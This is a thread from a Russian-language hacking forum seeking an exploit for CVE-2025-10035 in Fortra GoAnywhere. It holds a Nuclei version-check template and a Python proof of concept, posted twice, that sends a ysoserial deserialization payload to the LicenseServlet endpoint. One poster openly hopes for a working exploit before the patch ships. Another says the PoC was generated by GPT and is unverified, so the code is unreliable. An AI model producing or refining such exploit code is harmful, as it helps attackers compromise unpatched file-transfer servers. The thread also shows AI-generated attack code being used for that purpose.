• XSS.stack #1 – первый литературный журнал от юзеров форума

Remote cve-2025-10035 forta

simonlollipop

floppy-диск
Пользователь
Регистрация
17.09.2025
Сообщения
6
Реакции
2
Была опубликована уязвимость под заголовком «Fortra Releases GoAnywhere»
И вот версия её чекера
Есть ли у кого-нибудь идея по использованию эксплойта или poc для этого?


info:
name: Detection for CVE-2025-10035
author: rxerium
severity: critical
metadata:
max-request: 1
tags: critical,goanywhere

http:
- method: GET
path:
- "{{BaseURL}}/goanywhere/auth/Login.xhtml"

extractors:
- type: regex
name: version
part: body
group: 1
regex:
- "GoAnywhere\\s+([0-9]+\\.[0-9]+\\.[0-9]+)"

host-redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
words:
- "GoAnywhere Managed File Transfer"

- type: dsl
dsl:
# "latest" release
- "compare_versions(version, '>=7.7.0') && compare_versions(version, '<7.8.4')"
# "sustain release
- "compare_versions(version, '<7.6.3')"
condition: or
 
Он ведь просто определяет версию через regex и сравнивает её с уязвимой. В нём нет и не может быть никакой логики для эксплуатации. Насколько известно, публичного PoC пока нет.
 
Он ведь просто определяет версию через regex и сравнивает её с уязвимой. В нём нет и не может быть никакой логики для эксплуатации. Насколько известно, публичного PoC пока нет.
Надеюсь, что как можно скорее и до того, как появится патч выйдет хороший PoC.
 
 
Есть какой-нибудь POC?
#!/usr/bin/env python3
# CVE-2025-10035 - Exploitation Chain PoC (Safe Demonstration Version)
# For authorized security research ONLY!

import requests
import base64

TARGET = "http://127.0.0.1:8000/LicenseServlet" # GoAnywhere URL deployed locally

# ① Generate the payload using ysoserial (example command):
# java -jar ysoserial.jar CommonsCollections1 "touch /tmp/pwned" > payload.bin

with open("payload.bin", "rb") as f:
gadget = f.read()

# ② Base64-encode the serialized data (you can send raw binary, but encoding is more readable)
payload = base64.b64encode(gadget).decode()

headers = {
"Content-Type": "application/octet-stream",
"User-Agent": "GoAnywhere-CVE-2025-10035-POC"
}

print("[*] Sending serialized object to LicenseServlet...")

resp = requests.post(
TARGET,
data=base64.b64decode(payload), # Decode back to the original serialized object
headers=headers,
timeout=10
)

print("[*] HTTP status code:", resp.status_code)
print("[*] Response:")
print(resp.text)
I used GPT to generate this. I don't know if it works.
 
#!/usr/bin/env python3
# CVE-2025-10035 - Exploitation Chain PoC (Safe Demonstration Version)
# For authorized security research ONLY!

import requests
import base64

TARGET = "http://127.0.0.1:8000/LicenseServlet" # GoAnywhere URL deployed locally

# ① Generate the payload using ysoserial (example command):
# java -jar ysoserial.jar CommonsCollections1 "touch /tmp/pwned" > payload.bin

with open("payload.bin", "rb") as f:
gadget = f.read()

# ② Base64-encode the serialized data (you can send raw binary, but encoding is more readable)
payload = base64.b64encode(gadget).decode()

headers = {
"Content-Type": "application/octet-stream",
"User-Agent": "GoAnywhere-CVE-2025-10035-POC"
}

print("[*] Sending serialized object to LicenseServlet...")

resp = requests.post(
TARGET,
data=base64.b64decode(payload), # Decode back to the original serialized object
headers=headers,
timeout=10
)

print("[*] HTTP status code:", resp.status_code)
print("[*] Response:")
print(resp.text)
Can someone test it to see if it works, thanks.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх